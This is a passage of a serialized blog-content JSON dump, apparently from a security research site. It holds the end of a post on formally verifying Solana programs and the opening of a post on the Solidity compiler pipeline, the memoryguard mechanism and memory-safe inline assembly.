314,"props":27834,"children":27835},{"style":338},[27836],{"type":28,"value":341},{"type":23,"tag":314,"props":27838,"children":27839},{"style":354},[27840],{"type":28,"value":8840},{"type":23,"tag":314,"props":27842,"children":27843},{"style":338},[27844],{"type":28,"value":27600},{"type":23,"tag":314,"props":27846,"children":27847},{"style":374},[27848],{"type":28,"value":27605},{"type":23,"tag":314,"props":27850,"children":27851},{"class":316,"line":1091},[27852],{"type":23,"tag":314,"props":27853,"children":27854},{"emptyLinePlaceholder":18},[27855],{"type":28,"value":1088},{"type":23,"tag":314,"props":27857,"children":27858},{"class":316,"line":1141},[27859,27863,27867,27871,27875,27879],{"type":23,"tag":314,"props":27860,"children":27861},{"style":321},[27862],{"type":28,"value":2254},{"type":23,"tag":314,"props":27864,"children":27865},{"style":360},[27866],{"type":28,"value":27624},{"type":23,"tag":314,"props":27868,"children":27869},{"style":354},[27870],{"type":28,"value":1237},{"type":23,"tag":314,"props":27872,"children":27873},{"style":354},[27874],{"type":28,"value":24545},{"type":23,"tag":314,"props":27876,"children":27877},{"style":338},[27878],{"type":28,"value":16466},{"type":23,"tag":314,"props":27880,"children":27881},{"style":374},[27882],{"type":28,"value":27641},{"type":23,"tag":314,"props":27884,"children":27885},{"class":316,"line":1173},[27886,27890,27894,27898,27902],{"type":23,"tag":314,"props":27887,"children":27888},{"style":2284},[27889],{"type":28,"value":11527},{"type":23,"tag":314,"props":27891,"children":27892},{"style":360},[27893],{"type":28,"value":27624},{"type":23,"tag":314,"props":27895,"children":27896},{"style":354},[27897],{"type":28,"value":2537},{"type":23,"tag":314,"props":27899,"children":27900},{"style":1054},[27901],{"type":28,"value":27661},{"type":23,"tag":314,"props":27903,"children":27904},{"style":338},[27905],{"type":28,"value":1449},{"type":23,"tag":314,"props":27907,"children":27908},{"class":316,"line":1208},[27909,27913,27917,27921,27925,27929,27933],{"type":23,"tag":314,"props":27910,"children":27911},{"style":360},[27912],{"type":28,"value":25432},{"type":23,"tag":314,"props":27914,"children":27915},{"style":354},[27916],{"type":28,"value":282},{"type":23,"tag":314,"props":27918,"children":27919},{"style":338},[27920],{"type":28,"value":27681},{"type":23,"tag":314,"props":27922,"children":27923},{"style":354},[27924],{"type":28,"value":282},{"type":23,"tag":314,"props":27926,"children":27927},{"style":332},[27928],{"type":28,"value":27690},{"type":23,"tag":314,"props":27930,"children":27931},{"style":338},[27932],{"type":28,"value":27695},{"type":23,"tag":314,"props":27934,"children":27935},{"style":374},[27936],{"type":28,"value":27700},{"type":23,"tag":314,"props":27938,"children":27939},{"class":316,"line":1216},[27940],{"type":23,"tag":314,"props":27941,"children":27942},{"style":338},[27943],{"type":28,"value":2610},{"type":23,"tag":314,"props":27945,"children":27946},{"class":316,"line":1301},[27947],{"type":23,"tag":314,"props":27948,"children":27949},{"emptyLinePlaceholder":18},[27950],{"type":28,"value":1088},{"type":23,"tag":314,"props":27952,"children":27953},{"class":316,"line":1343},[27954],{"type":23,"tag":314,"props":27955,"children":27956},{"style":374},[27957],{"type":28,"value":27958}," // Enforce invariants at runtime\n",{"type":23,"tag":314,"props":27960,"children":27961},{"class":316,"line":1351},[27962,27966,27970,27974,27978,27982,27986,27990],{"type":23,"tag":314,"props":27963,"children":27964},{"style":332},[27965],{"type":28,"value":18478},{"type":23,"tag":314,"props":27967,"children":27968},{"style":338},[27969],{"type":28,"value":341},{"type":23,"tag":314,"props":27971,"children":27972},{"style":360},[27973],{"type":28,"value":19518},{"type":23,"tag":314,"props":27975,"children":27976},{"style":354},[27977],{"type":28,"value":282},{"type":23,"tag":314,"props":27979,"children":27980},{"style":338},[27981],{"type":28,"value":27681},{"type":23,"tag":314,"props":27983,"children":27984},{"style":354},[27985],{"type":28,"value":282},{"type":23,"tag":314,"props":27987,"children":27988},{"style":332},[27989],{"type":28,"value":21015},{"type":23,"tag":314,"props":27991,"children":27992},{"style":338},[27993],{"type":28,"value":14667},{"type":23,"tag":314,"props":27995,"children":27996},{"class":316,"line":1387},[27997],{"type":23,"tag":314,"props":27998,"children":27999},{"emptyLinePlaceholder":18},[28000],{"type":28,"value":1088},{"type":23,"tag":314,"props":28002,"children":28003},{"class":316,"line":1422},[28004,28008],{"type":23,"tag":314,"props":28005,"children":28006},{"style":2674},[28007],{"type":28,"value":13580},{"type":23,"tag":314,"props":28009,"children":28010},{"style":338},[28011],{"type":28,"value":13585},{"type":23,"tag":314,"props":28013,"children":28014},{"class":316,"line":1430},[28015],{"type":23,"tag":314,"props":28016,"children":28017},{"style":338},[28018],{"type":28,"value":386},{"type":23,"tag":24,"props":28020,"children":28021},{},[28022,28024,28029,28031,28036,28038,28043],{"type":28,"value":28023},"Here, we explicitly ",{"type":23,"tag":94,"props":28025,"children":28027},{"className":28026},[],[28028],{"type":28,"value":19221},{"type":28,"value":28030}," that our invariants hold at ",{"type":23,"tag":186,"props":28032,"children":28033},{},[28034],{"type":28,"value":28035},"runtime",{"type":28,"value":28037}," which allows us to be assured that ",{"type":23,"tag":94,"props":28039,"children":28041},{"className":28040},[],[28042],{"type":28,"value":27681},{"type":28,"value":28044}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":28046,"children":28047},{},[28048],{"type":28,"value":28049},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":61,"props":28051,"children":28053},{"id":28052},"challenges-of-formal-verification-on-solana",[28054],{"type":28,"value":28055},"Challenges of formal verification on Solana",{"type":23,"tag":837,"props":28057,"children":28059},{"id":28058},"expensive-computation",[28060],{"type":28,"value":28061},"Expensive computation",{"type":23,"tag":24,"props":28063,"children":28064},{},[28065,28067,28072],{"type":28,"value":28066},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":186,"props":28068,"children":28069},{},[28070],{"type":28,"value":28071},"path explosion",{"type":28,"value":28073},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":28075,"children":28076},{},[28077,28079,28084],{"type":28,"value":28078},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":186,"props":28080,"children":28081},{},[28082],{"type":28,"value":28083},"formal verification friendly",{"type":28,"value":28085},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":28087,"children":28088},{},[28089,28091,28096,28098,28103],{"type":28,"value":28090},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":94,"props":28092,"children":28094},{"className":28093},[],[28095],{"type":28,"value":20635},{"type":28,"value":28097}," in a ",{"type":23,"tag":94,"props":28099,"children":28101},{"className":28100},[],[28102],{"type":28,"value":16450},{"type":28,"value":28104},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":28106,"children":28107},{},[28108,28110,28115,28117,28122,28124,28129,28131,28136,28138,28143,28145,28150],{"type":28,"value":28109},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":94,"props":28111,"children":28113},{"className":28112},[],[28114],{"type":28,"value":16450},{"type":28,"value":28116}," or a 32-byte ",{"type":23,"tag":94,"props":28118,"children":28120},{"className":28119},[],[28121],{"type":28,"value":20635},{"type":28,"value":28123},". Instead, our tool can substitute in ",{"type":23,"tag":186,"props":28125,"children":28126},{},[28127],{"type":28,"value":28128},"cheaper",{"type":28,"value":28130}," types and functions, such as a 4-byte ",{"type":23,"tag":94,"props":28132,"children":28134},{"className":28133},[],[28135],{"type":28,"value":20635},{"type":28,"value":28137}," struct and a fixed-size, array-backed ",{"type":23,"tag":94,"props":28139,"children":28141},{"className":28140},[],[28142],{"type":28,"value":16450},{"type":28,"value":28144}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":186,"props":28146,"children":28147},{},[28148],{"type":28,"value":28149},"much",{"type":28,"value":28151}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":28153,"children":28154},{},[28155],{"type":28,"value":28156},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":837,"props":28158,"children":28160},{"id":28159},"runtime-environment",[28161],{"type":28,"value":28162},"Runtime Environment",{"type":23,"tag":24,"props":28164,"children":28165},{},[28166],{"type":28,"value":28167},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":28169,"children":28170},{},[28171],{"type":28,"value":28172},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":28174,"children":28175},{},[28176],{"type":28,"value":28177},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":61,"props":28179,"children":28181},{"id":28180},"conclusion",[28182],{"type":28,"value":18185},{"type":23,"tag":24,"props":28184,"children":28185},{},[28186],{"type":28,"value":28187},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":28189,"children":28190},{},[28191],{"type":28,"value":28192},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":18031,"props":28194,"children":28195},{},[],{"type":23,"tag":24,"props":28197,"children":28198},{},[28199],{"type":23,"tag":186,"props":28200,"children":28201},{},[28202,28204,28209,28210,28214],{"type":28,"value":28203},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":31,"props":28205,"children":28207},{"href":18113,"rel":28206},[35],[28208],{"type":28,"value":18117},{"type":28,"value":18119},{"type":23,"tag":31,"props":28211,"children":28212},{"href":18122},[28213],{"type":28,"value":18125},{"type":28,"value":282},{"type":23,"tag":2096,"props":28216,"children":28217},{},[28218],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":28220},[28221,28227,28231,28236,28242,28246],{"id":18188,"depth":370,"text":18191,"children":28222},[28223,28224,28225,28226],{"id":18194,"depth":380,"text":18197},{"id":18262,"depth":380,"text":18265},{"id":19141,"depth":380,"text":19144},{"id":19181,"depth":380,"text":19184},{"id":19234,"depth":370,"text":28228,"children":28229},"Specification: How can we describe what we want our program to do?",[28230],{"id":19348,"depth":380,"text":19351},{"id":20707,"depth":370,"text":20710,"children":28232},[28233,28234,28235],{"id":21384,"depth":380,"text":21387},{"id":21669,"depth":380,"text":21672},{"id":21813,"depth":380,"text":21816},{"id":21954,"depth":370,"text":21957,"children":28237},[28238,28239,28240,28241],{"id":22025,"depth":380,"text":22028},{"id":23884,"depth":380,"text":23887},{"id":24686,"depth":380,"text":22017},{"id":27212,"depth":380,"text":22022},{"id":28052,"depth":370,"text":28055,"children":28243},[28244,28245],{"id":28058,"depth":380,"text":28061},{"id":28159,"depth":380,"text":28162},{"id":28180,"depth":370,"text":18185},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":28251,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28252,"description":28253,"author":4974,"image":28254,"date":28256,"isFeatured":18,"onBlogPage":18,"tags":28257,"body":28259,"_type":2117,"_id":29679,"_source":2119,"_file":29680,"_stem":29681,"_extension":2122},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":28255,"height":12871,"width":12871},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[3728,28258],"compiler",{"type":20,"children":28260,"toc":29670},[28261,28267,28303,28315,28321,28343,28356,28504,28525,28530,28551,28556,28564,28569,28574,28579,28585,28604,28609,28630,28693,28706,28736,28756,28783,28788,28801,28806,28811,28824,28855,28878,29032,29050,29101,29120,29145,29150,29156,29183,29203,29231,29236,29258,29277,29285,29296,29301,29317,29574,29582,29587,29591,29596,29601,29666],{"type":23,"tag":61,"props":28262,"children":28264},{"id":28263},"introduction",[28265],{"type":28,"value":28266},"Introduction",{"type":23,"tag":24,"props":28268,"children":28269},{},[28270,28272,28278,28279,28283,28285,28292,28294,28301],{"type":28,"value":28271},"What does ",{"type":23,"tag":94,"props":28273,"children":28275},{"className":28274},[],[28276],{"type":28,"value":28277},"memory-safe",{"type":28,"value":5713},{"type":23,"tag":186,"props":28280,"children":28281},{},[28282],{"type":28,"value":8538},{"type":28,"value":28284}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":31,"props":28286,"children":28289},{"href":28287,"rel":28288},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[35],[28290],{"type":28,"value":28291},"presents some requirements",{"type":28,"value":28293},", but is production code that ",{"type":23,"tag":31,"props":28295,"children":28298},{"href":28296,"rel":28297},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[35],[28299],{"type":28,"value":28300},"violates these requirements",{"type":28,"value":28302}," necessarily unsafe?",{"type":23,"tag":24,"props":28304,"children":28305},{},[28306,28308,28313],{"type":28,"value":28307},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":186,"props":28309,"children":28310},{},[28311],{"type":28,"value":28312},"memory-safety",{"type":28,"value":28314}," actually means.",{"type":23,"tag":61,"props":28316,"children":28318},{"id":28317},"compiler-pipeline",[28319],{"type":28,"value":28320},"Compiler Pipeline",{"type":23,"tag":24,"props":28322,"children":28323},{},[28324,28326,28333,28335,28342],{"type":28,"value":28325},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":31,"props":28327,"children":28330},{"href":28328,"rel":28329},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[35],[28331],{"type":28,"value":28332},"released in v0.8.13",{"type":28,"value":28334},". Compilation happens ",{"type":23,"tag":31,"props":28336,"children":28339},{"href":28337,"rel":28338},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[35],[28340],{"type":28,"value":28341},"in two main steps",{"type":28,"value":3746},{"type":23,"tag":84,"props":28344,"children":28345},{},[28346,28351],{"type":23,"tag":88,"props":28347,"children":28348},{},[28349],{"type":28,"value":28350},"Solidity to YUL IR",{"type":23,"tag":88,"props":28352,"children":28353},{},[28354],{"type":28,"value":28355},"YUL IR to EVM opcodes",{"type":23,"tag":304,"props":28357,"children":28361},{"className":28358,"code":28359,"language":28360,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[28362],{"type":23,"tag":94,"props":28363,"children":28364},{"__ignoreMap":7},[28365,28395,28416,28428,28436,28448,28468,28476,28497],{"type":23,"tag":314,"props":28366,"children":28367},{"class":316,"line":317},[28368,28372,28377,28381,28386,28390],{"type":23,"tag":314,"props":28369,"children":28370},{"style":2284},[28371],{"type":28,"value":11527},{"type":23,"tag":314,"props":28373,"children":28374},{"style":338},[28375],{"type":28,"value":28376}," (m_viaIR ",{"type":23,"tag":314,"props":28378,"children":28379},{"style":354},[28380],{"type":28,"value":21656},{"type":23,"tag":314,"props":28382,"children":28383},{"style":338},[28384],{"type":28,"value":28385}," m_generateIR ",{"type":23,"tag":314,"props":28387,"children":28388},{"style":354},[28389],{"type":28,"value":21656},{"type":23,"tag":314,"props":28391,"children":28392},{"style":338},[28393],{"type":28,"value":28394}," m_generateEwasm)\n",{"type":23,"tag":314,"props":28396,"children":28397},{"class":316,"line":370},[28398,28403,28407,28411],{"type":23,"tag":314,"props":28399,"children":28400},{"style":332},[28401],{"type":28,"value":28402}," generateIR",{"type":23,"tag":314,"props":28404,"children":28405},{"style":338},[28406],{"type":28,"value":341},{"type":23,"tag":314,"props":28408,"children":28409},{"style":354},[28410],{"type":28,"value":256},{"type":23,"tag":314,"props":28412,"children":28413},{"style":338},[28414],{"type":28,"value":28415},"contract);\n",{"type":23,"tag":314,"props":28417,"children":28418},{"class":316,"line":380},[28419,28423],{"type":23,"tag":314,"props":28420,"children":28421},{"style":2284},[28422],{"type":28,"value":11527},{"type":23,"tag":314,"props":28424,"children":28425},{"style":338},[28426],{"type":28,"value":28427}," (m_generateEvmBytecode)\n",{"type":23,"tag":314,"props":28429,"children":28430},{"class":316,"line":1091},[28431],{"type":23,"tag":314,"props":28432,"children":28433},{"style":338},[28434],{"type":28,"value":28435}," {\n",{"type":23,"tag":314,"props":28437,"children":28438},{"class":316,"line":1141},[28439,28443],{"type":23,"tag":314,"props":28440,"children":28441},{"style":2284},[28442],{"type":28,"value":2527},{"type":23,"tag":314,"props":28444,"children":28445},{"style":338},[28446],{"type":28,"value":28447}," (m_viaIR)\n",{"type":23,"tag":314,"props":28449,"children":28450},{"class":316,"line":1173},[28451,28456,28460,28464],{"type":23,"tag":314,"props":28452,"children":28453},{"style":332},[28454],{"type":28,"value":28455}," generateEVMFromIR",{"type":23,"tag":314,"props":28457,"children":28458},{"style":338},[28459],{"type":28,"value":341},{"type":23,"tag":314,"props":28461,"children":28462},{"style":354},[28463],{"type":28,"value":256},{"type":23,"tag":314,"props":28465,"children":28466},{"style":338},[28467],{"type":28,"value":28415},{"type":23,"tag":314,"props":28469,"children":28470},{"class":316,"line":1208},[28471],{"type":23,"tag":314,"props":28472,"children":28473},{"style":2284},[28474],{"type":28,"value":28475}," else\n",{"type":23,"tag":314,"props":28477,"children":28478},{"class":316,"line":1216},[28479,28484,28488,28492],{"type":23,"tag":314,"props":28480,"children":28481},{"style":332},[28482],{"type":28,"value":28483}," compileContract",{"type":23,"tag":314,"props":28485,"children":28486},{"style":338},[28487],{"type":28,"value":341},{"type":23,"tag":314,"props":28489,"children":28490},{"style":354},[28491],{"type":28,"value":256},{"type":23,"tag":314,"props":28493,"children":28494},{"style":338},[28495],{"type":28,"value":28496},"contract, otherCompilers);\n",{"type":23,"tag":314,"props":28498,"children":28499},{"class":316,"line":1301},[28500],{"type":23,"tag":314,"props":28501,"children":28502},{"style":338},[28503],{"type":28,"value":2610},{"type":23,"tag":24,"props":28505,"children":28506},{},[28507,28509,28516,28517,28524],{"type":28,"value":28508},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":31,"props":28510,"children":28513},{"href":28511,"rel":28512},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[35],[28514],{"type":28,"value":28515},"YulStack::optimize",{"type":28,"value":557},{"type":23,"tag":31,"props":28518,"children":28521},{"href":28519,"rel":28520},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[35],[28522],{"type":28,"value":28523},"Assembly::optimize",{"type":28,"value":282},{"type":23,"tag":24,"props":28526,"children":28527},{},[28528],{"type":28,"value":28529},"In total, there are four steps.",{"type":23,"tag":84,"props":28531,"children":28532},{},[28533,28537,28542,28546],{"type":23,"tag":88,"props":28534,"children":28535},{},[28536],{"type":28,"value":28350},{"type":23,"tag":88,"props":28538,"children":28539},{},[28540],{"type":28,"value":28541},"Optimization of YUL IR",{"type":23,"tag":88,"props":28543,"children":28544},{},[28545],{"type":28,"value":28355},{"type":23,"tag":88,"props":28547,"children":28548},{},[28549],{"type":28,"value":28550},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":28552,"children":28553},{},[28554],{"type":28,"value":28555},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":2186,"props":28557,"children":28558},{},[28559],{"type":23,"tag":24,"props":28560,"children":28561},{},[28562],{"type":28,"value":28563},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":28565,"children":28566},{},[28567],{"type":28,"value":28568},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":28570,"children":28571},{},[28572],{"type":28,"value":28573},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":28575,"children":28576},{},[28577],{"type":28,"value":28578},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":61,"props":28580,"children":28582},{"id":28581},"guarantees",[28583],{"type":28,"value":28584},"Guarantees",{"type":23,"tag":24,"props":28586,"children":28587},{},[28588,28589,28596,28598,28603],{"type":28,"value":92},{"type":23,"tag":31,"props":28590,"children":28593},{"href":28591,"rel":28592},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[35],[28594],{"type":28,"value":28595},"Solidity memory layout",{"type":28,"value":28597}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":186,"props":28599,"children":28600},{},[28601],{"type":28,"value":28602},"no information about this layout",{"type":28,"value":282},{"type":23,"tag":24,"props":28605,"children":28606},{},[28607],{"type":28,"value":28608},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":28610,"children":28611},{},[28612,28614,28620,28622,28628],{"type":28,"value":28613},"Introducing ",{"type":23,"tag":94,"props":28615,"children":28617},{"className":28616},[],[28618],{"type":28,"value":28619},"memoryguard",{"type":28,"value":28621},". If you've ever looked at the output of ",{"type":23,"tag":94,"props":28623,"children":28625},{"className":28624},[],[28626],{"type":28,"value":28627},"solc --ir",{"type":28,"value":28629},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":304,"props":28631,"children":28633},{"className":3729,"code":28632,"language":3728,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[28634],{"type":23,"tag":94,"props":28635,"children":28636},{"__ignoreMap":7},[28637,28655],{"type":23,"tag":314,"props":28638,"children":28639},{"class":316,"line":317},[28640,28645,28650],{"type":23,"tag":314,"props":28641,"children":28642},{"style":374},[28643],{"type":28,"value":28644}," /// @src 0:26:371 \"contract ",{"type":23,"tag":314,"props":28646,"children":28647},{"style":321},[28648],{"type":28,"value":28649},"XXX",{"type":23,"tag":314,"props":28651,"children":28652},{"style":374},[28653],{"type":28,"value":28654}," {...\"\n",{"type":23,"tag":314,"props":28656,"children":28657},{"class":316,"line":370},[28658,28663,28667,28672,28676,28680,28684,28689],{"type":23,"tag":314,"props":28659,"children":28660},{"style":332},[28661],{"type":28,"value":28662}," store",{"type":23,"tag":314,"props":28664,"children":28665},{"style":338},[28666],{"type":28,"value":341},{"type":23,"tag":314,"props":28668,"children":28669},{"style":1054},[28670],{"type":28,"value":28671},"64",{"type":23,"tag":314,"props":28673,"children":28674},{"style":338},[28675],{"type":28,"value":778},{"type":23,"tag":314,"props":28677,"children":28678},{"style":332},[28679],{"type":28,"value":28619},{"type":23,"tag":314,"props":28681,"children":28682},{"style":338},[28683],{"type":28,"value":341},{"type":23,"tag":314,"props":28685,"children":28686},{"style":1054},[28687],{"type":28,"value":28688},"0x80",{"type":23,"tag":314,"props":28690,"children":28691},{"style":338},[28692],{"type":28,"value":18949},{"type":23,"tag":24,"props":28694,"children":28695},{},[28696,28698,28705],{"type":28,"value":28697},"From ",{"type":23,"tag":31,"props":28699,"children":28702},{"href":28700,"rel":28701},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[35],[28703],{"type":28,"value":28704},"the documentation",{"type":28,"value":3379},{"type":23,"tag":2186,"props":28707,"children":28708},{},[28709],{"type":23,"tag":24,"props":28710,"children":28711},{},[28712,28714,28720,28722,28728,28730,28735],{"type":28,"value":28713},"The caller of ",{"type":23,"tag":94,"props":28715,"children":28717},{"className":28716},[],[28718],{"type":28,"value":28719},"let ptr := memoryguard(size)",{"type":28,"value":28721}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":94,"props":28723,"children":28725},{"className":28724},[],[28726],{"type":28,"value":28727},"[0, size)",{"type":28,"value":28729}," or the unbounded range starting at ",{"type":23,"tag":94,"props":28731,"children":28733},{"className":28732},[],[28734],{"type":28,"value":13196},{"type":28,"value":282},{"type":23,"tag":24,"props":28737,"children":28738},{},[28739,28741,28746,28748,28754],{"type":28,"value":28740},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":94,"props":28742,"children":28744},{"className":28743},[],[28745],{"type":28,"value":28619},{"type":28,"value":28747}," return ",{"type":23,"tag":94,"props":28749,"children":28751},{"className":28750},[],[28752],{"type":28,"value":28753},"size + 32",{"type":28,"value":28755},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":28757,"children":28758},{},[28759,28761,28768,28770,28775,28777,28782],{"type":28,"value":28760},"An example of this optimization in practice ",{"type":23,"tag":31,"props":28762,"children":28765},{"href":28763,"rel":28764},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[35],[28766],{"type":28,"value":28767},"is the StackLimitEvader",{"type":28,"value":28769},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":186,"props":28771,"children":28772},{},[28773],{"type":28,"value":28774},"only",{"type":28,"value":28776}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":94,"props":28778,"children":28780},{"className":28779},[],[28781],{"type":28,"value":28619},{"type":28,"value":282},{"type":23,"tag":24,"props":28784,"children":28785},{},[28786],{"type":28,"value":28787},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":28789,"children":28790},{},[28791,28793,28799],{"type":28,"value":28792},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":94,"props":28794,"children":28796},{"className":28795},[],[28797],{"type":28,"value":28798},"memoryguard(0x60)",{"type":28,"value":28800}," instead. The rest of the pipeline will still work.",{"type":23,"tag":61,"props":28802,"children":28803},{"id":28312},[28804],{"type":28,"value":28805},"Memory Safety",{"type":23,"tag":24,"props":28807,"children":28808},{},[28809],{"type":28,"value":28810},"So what does memory safety mean?",{"type":23,"tag":24,"props":28812,"children":28813},{},[28814,28816,28822],{"type":28,"value":28815},"The Solidity documentation provides ",{"type":23,"tag":31,"props":28817,"children":28819},{"href":28287,"rel":28818},[35],[28820],{"type":28,"value":28821},"a set of constraints",{"type":28,"value":28823},", not a definition.",{"type":23,"tag":2186,"props":28825,"children":28826},{},[28827,28832],{"type":23,"tag":24,"props":28828,"children":28829},{},[28830],{"type":28,"value":28831},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":84,"props":28833,"children":28834},{},[28835,28840,28845,28850],{"type":23,"tag":88,"props":28836,"children":28837},{},[28838],{"type":28,"value":28839},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":88,"props":28841,"children":28842},{},[28843],{"type":28,"value":28844},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":88,"props":28846,"children":28847},{},[28848],{"type":28,"value":28849},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":88,"props":28851,"children":28852},{},[28853],{"type":28,"value":28854},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":28856,"children":28857},{},[28858,28860,28867,28877],{"type":28,"value":28859},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":31,"props":28861,"children":28864},{"href":28862,"rel":28863},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[35],[28865],{"type":28,"value":28866},"removes the memory guard",{"type":23,"tag":14716,"props":28868,"children":28869},{},[28870],{"type":23,"tag":31,"props":28871,"children":28875},{"href":28872,"ariaDescribedBy":28873,"dataFootnoteRef":7,"id":28874},"#user-content-fn-1",[14723],"user-content-fnref-1",[28876],{"type":28,"value":3267},{"type":28,"value":282},{"type":23,"tag":304,"props":28879,"children":28881},{"className":28358,"code":28880,"language":28360,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n 